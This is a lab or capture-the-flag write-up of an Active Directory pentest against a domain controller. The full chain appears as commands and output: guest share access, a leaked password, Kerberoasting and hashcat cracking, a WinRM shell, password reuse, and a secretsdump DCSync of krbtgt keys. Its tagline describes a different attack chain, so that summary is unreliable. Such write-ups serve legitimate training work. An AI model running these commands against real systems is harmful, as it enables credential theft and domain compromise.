HackSmarter: ShadowGate Writeup
Black-box Windows AD engagement against a single DC. AS-REP roasting yields initial credentials, shadow credential abuse pivots to a domain user, and ESC8 relay achieves DCSync.
Martini is an internal black-box engagement against a Windows Active Directory environment for a company called Martini Bars. The domain controller, DC01.DRY.MARTINI.BARS, is the single in-scope target. Guest SMB access reveals a writable notes share containing a plaintext credential file, which opens the door to domain enumeration. Kerberoasting an account with an SPN yields a crackable ticket, giving us a WinRM foothold. Password reuse across two accounts ultimately allows us to operate as a user with DCSync rights, dumping the krbtgt hash and fully compromising the domain.
An adult beverage company “Martini Bars” recently had a corporate breach and the compliance and risk team dictates they perform a penetration test at one of their branch offices. The Hack Smarter team has been authorized to perform an internal black box pentest.
The client has provided you with VPN access to their internal network, but no credentials.
The target is 10.1.114.246. Before doing anything else, the goal is just to understand what the machine is - what services are exposed, what OS it’s running, and whether there are any obvious service banners to work with. RustScan handles the initial port discovery, then pipes those results into nmap for full service/version detection.
fullscan 10.1.114.246
Open 10.1.114.246:53
Open 10.1.114.246:88
Open 10.1.114.246:135
Open 10.1.114.246:139
Open 10.1.114.246:389
Open 10.1.114.246:445
Open 10.1.114.246:464
Open 10.1.114.246:593
Open 10.1.114.246:636
Open 10.1.114.246:3268
Open 10.1.114.246:3269
Open 10.1.114.246:3389
Open 10.1.114.246:5985
Open 10.1.114.246:9389
<SNIP>
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-14 16:29:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server
| rdp-ntlm-info:
| Target_Name: DRY
| NetBIOS_Domain_Name: DRY
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: DRY.MARTINI.BARS
| DNS_Computer_Name: DC01.DRY.MARTINI.BARS
| Product_Version: 10.0.26100
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
<SNIP>
This is an unmistakable domain controller fingerprint: DNS on 53, Kerberos on 88, LDAP and LDAPS on 389/636 and their Global Catalog counterparts on 3268/3269, SMB on 139/445, WinRM on 5985, and RDP on 3389. The LDAP banner hands us the domain name (DRY.MARTINI.BARS) and the RDP certificate confirms the machine name (DC01). The OS version 10.0.26100 corresponds to Windows Server 2025, which is worth noting - some newer attack paths are version-dependent. SMB signing is reported as False by NetExec later, which could be useful if we need to relay credentials down the line.
Before going any further, it’s worth generating the right /etc/hosts entries and a Kerberos configuration file so that tool output using hostnames rather than IPs works consistently throughout the engagement. NetExec has built-in helpers for both.
nxc smb 10.1.114.246 --generate-hosts-file hosts
nxc smb 10.1.114.246 --generate-krb5-file krb5
cat hosts | sudo tee -a /etc/hosts
sudo mv krb5 /etc/krb5.conf
SMB 10.1.114.246 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:None)
SMB 10.1.114.246 445 DC01 [+] krb5 conf saved to: krb5
10.1.114.246 DC01.DRY.MARTINI.BARS DRY.MARTINI.BARS DC01
With that in place, we have consistent name resolution and a working Kerberos config for later ticket operations if needed.
With no credentials yet, the obvious first move is to probe SMB for anything accessible unauthenticated - either via a null session or the built-in guest account. Both turn out to work here.
nxc smb 10.1.114.246 -u '' -p ''
nxc smb 10.1.114.246 -u 'guest' -p ''
SMB 10.1.114.246 445 DC01 [+] DRY.MARTINI.BARS\:
SMB 10.1.114.246 445 DC01 [+] DRY.MARTINI.BARS\guest:
Both authenticate. The guest account is the more useful one to work with since some operations that need a named principal behave better with it than a blank username. Checking what shares are accessible:
nxc smb 10.1.114.246 -u 'guest' -p '' --shares
SMB 10.1.114.246 445 DC01 Share Permissions Remark
SMB 10.1.114.246 445 DC01 ----- ----------- ------
SMB 10.1.114.246 445 DC01 ADMIN$ Remote Admin
SMB 10.1.114.246 445 DC01 C$ Default share
SMB 10.1.114.246 445 DC01 IPC$ READ Remote IPC
SMB 10.1.114.246 445 DC01 NETLOGON Logon server share
SMB 10.1.114.246 445 DC01 notes READ,WRITE
SMB 10.1.114.246 445 DC01 SYSVOL Logon server share
A non-standard share called notes with both read and write permissions for an unauthenticated guest - that’s immediately suspicious. The ADMIN$, C$, NETLOGON, and SYSVOL shares are all locked down as expected, but someone clearly misconfigured (or intentionally exposed) this custom share. Let’s map out exactly what’s in it using spider_plus before touching anything.
nxc smb 10.1.114.246 -u 'guest' -p '' -M spider_plus
SPIDER_PLUS 10.1.114.246 445 DC01 [*] SMB Readable Shares: 2 (IPC$, notes)
SPIDER_PLUS 10.1.114.246 445 DC01 [*] SMB Writable Shares: 1 (notes)
SPIDER_PLUS 10.1.114.246 445 DC01 [*] Total files found: 1
SPIDER_PLUS 10.1.114.246 445 DC01 [*] File size average: 129 B
SPIDER_PLUS 10.1.114.246 445 DC01 [+] Saved share-file metadata to "/home/itzvenom/.nxc/modules/nxc_spider_plus/10.1.114.246.json"
Only one file exists in the share - a 129-byte notes.txt. Small files like this tend to be personal notes or config snippets, and the writable share raises the question of who put it there. Time to grab it.
nxc smb 10.1.114.246 -u 'guest' -p '' --share notes --get-file notes.txt notes.txt
cat notes.txt
- Order more gin for lakeside
- Look for an engagement ring
- Check that notes works from Linux Mint
creds
mprice:[REDACTED]
That last line is exactly what you hope to find. Someone left what looks like their domain credentials in a personal notes file on a publicly readable share. The content reads like genuine personal reminders rather than a planted credential, which suggests a real operational security lapse. Let’s validate the credentials against SMB before going further.
nxc smb 10.1.114.246 -u 'mprice' -p '[REDACTED]'
SMB 10.1.114.246 445 DC01 [+] DRY.MARTINI.BARS\mprice:[REDACTED]
Valid. We now have a real domain account to work with.
With mprice authenticated, the next priority is mapping out the domain user space to find attack paths. RID brute-forcing is a reliable way to enumerate accounts when you have at least read access to SMB - it walks the domain’s SID space and resolves each RID to an account name.
A small error crept in here: the command was run with mprince instead of mprice. NetExec fell back to a guest session (as shown by the (Guest) tag in the output), which still has enough access to complete the RID brute. The results are valid despite the typo.
nxc smb 10.1.114.246 -u 'mprince' -p '[REDACTED]' --rid-brute
SMB 10.1.114.246 445 DC01 [+] DRY.MARTINI.BARS\mprincer:[REDACTED] (Guest)
<SNIP>
SMB 10.1.114.246 445 DC01 1104: DRY\mprice (SidTypeUser)
SMB 10.1.114.246 445 DC01 1105: DRY\athena.t0 (SidTypeUser)
SMB 10.1.114.246 445 DC01 1106: DRY\ATHENA_SVC (SidTypeUser)
Regardless, two interesting accounts stand out alongside mprice: athena.t0 (looks like a named user account with a tier-0 convention) and ATHENA_SVC (a service account by naming convention). Service accounts registered with SPNs are eligible for Kerberoasting - the KDC will hand out a TGS ticket encrypted with the service account’s password, which we can then take offline and crack.
nxc ldap 10.1.114.246 -u 'mprice' -p '[REDACTED]' --kerberoasting kerberoast.out
LDAP 10.1.114.246 389 DC01 [+] DRY.MARTINI.BARS\mprice:[REDACTED]
LDAP 10.1.114.246 389 DC01 [*] Skipping disabled account: krbtgt
LDAP 10.1.114.246 389 DC01 [*] Total of records returned 1
LDAP 10.1.114.246 389 DC01 [*] sAMAccountName: ATHENA_SVC, memberOf: ['CN=Remote Management Users,...', 'CN=Remote Desktop Users,...'], pwdLastSet: 2026-01-20 18:20:32, lastLogon: <never>
LDAP 10.1.114.246 389 DC01 $krb5tgs$23$*ATHENA_SVC$DRY.MARTINI.BARS$DRY.MARTINI.BARS\ATHENA_SVC*$8c400674...<SNIP>
One kerberoastable account: ATHENA_SVC. The member-of output is particularly useful here - this account is in both Remote Management Users and Remote Desktop Users, meaning a cracked password translates directly to a WinRM shell. The etype-23 (RC4) hash is also the best-case scenario for cracking, since RC4-based tickets crack significantly faster than AES equivalents. Feeding it to hashcat against rockyou.txt:
hashcat hash /usr/share/wordlists/rockyou.txt
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
$krb5tgs$23$*ATHENA_SVC$DRY.MARTINI.BARS$...<SNIP>:[REDACTED]
Status...........: Cracked
Time.Started.....: Thu May 14 17:55:59 2026 (5 secs)
Progress.........: 13025280/14344385 (90.80%)
Cracked in five seconds. ATHENA_SVC’s password was in rockyou.txt, which underscores the weakness of using a dictionary-derived password for any service account registered with an SPN.
Confirming WinRM access before dropping into a shell:
nxc winrm 10.1.114.246 -u 'ATHENA_SVC' -p '[REDACTED]'
WINRM 10.1.114.246 5985 DC01 [+] DRY.MARTINI.BARS\ATHENA_SVC:[REDACTED] (Pwn3d!)
Pwn3d! - WinRM is open and we have a working shell. Connecting with devious-winrm:
devious-winrm -u 'ATHENA_SVC' -p '[REDACTED]' 10.1.114.246
[+] Devious-WinRM v1.2.2 by Pablo Comino (@1upbyte)
C:\Users\ATHENA_SVC\Documents>
We’re on the DC as ATHENA_SVC. This account was likely created purely as a service account. That brings back the other account we found during RID brute: athena.t0.
The naming convention ATHENA_SVC and athena.t0 alongside the identical name root is a classic indicator of a sysadmin who owns both a service account and a privileged user account in the same environment. Password reuse between the two is worth trying before doing anything more involved.
Testing the same password against athena.t0 hits an immediate issue - the standard LDAP attempt fails:
nxc ldap 10.1.114.246 -u 'ATHENA_T0' -p '[REDACTED]'
LDAPS 10.1.114.246 636 DC01 [-] DRY.MARTINI.BARS\ATHENA_T0:[REDACTED]
The error StrongerAuthRequired indicates the DC is rejecting plaintext LDAP authentication for this account. This is enforced channel binding or a per-account policy requiring stronger auth. Switching to Kerberos authentication with the -k flag routes the connection over an encrypted Kerberos exchange instead of plain LDAP, which satisfies the requirement. The account name format also needed correcting - ATHENA.T0 rather than ATHENA_T0:
nxc ldap 10.1.114.246 -u 'ATHENA.T0' -p '[REDACTED]' -k
LDAP 10.1.114.246 389 DC01 [+] DRY.MARTINI.BARS\ATHENA.T0:[REDACTED] (Pwn3d!)
Pwn3d! on LDAP is a strong signal - NetExec marks an LDAP connection as owned when the account has DCSync rights (or equivalent highly privileged domain access). The athena.t0 account appears to be the privileged administrative counterpart to the service account, and the same password was reused across both. Getting a TGT and using it with secretsdump to confirm:
getTGT.py DRY.MARTINI.BARS/'ATHENA.T0':'[REDACTED]'
export KRB5CCNAME=./ATHENA.T0.ccache
secretsdump.py 'athena.t0'@DC01.DRY.MARTINI.BARS -k -no-pass -just-dc-user krbtgt
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:[REDACTED]
krbtgt:aes128-cts-hmac-sha1-96:[REDACTED]
[*] Cleaning up...
DCSync confirmed. secretsdump used the DRSUAPI replication protocol to pull the krbtgt account’s NT hash and Kerberos long-term keys directly from the DC - the same mechanism a legitimate domain controller would use to sync credentials. With the krbtgt hash in hand, a Golden Ticket attack is possible against any principal in the domain without further authentication, which represents complete and persistent domain compromise.
The attack chain here was straightforward in retrospect: an unauthenticated guest could read a share that contained plaintext credentials, those credentials allowed Kerberoasting a service account with a weak password, the service account’s cracked password gave WinRM access, and the same password on the service account’s privileged twin provided DCSync access. Each step built directly on the one before it - fixing any single link would have broken the chain.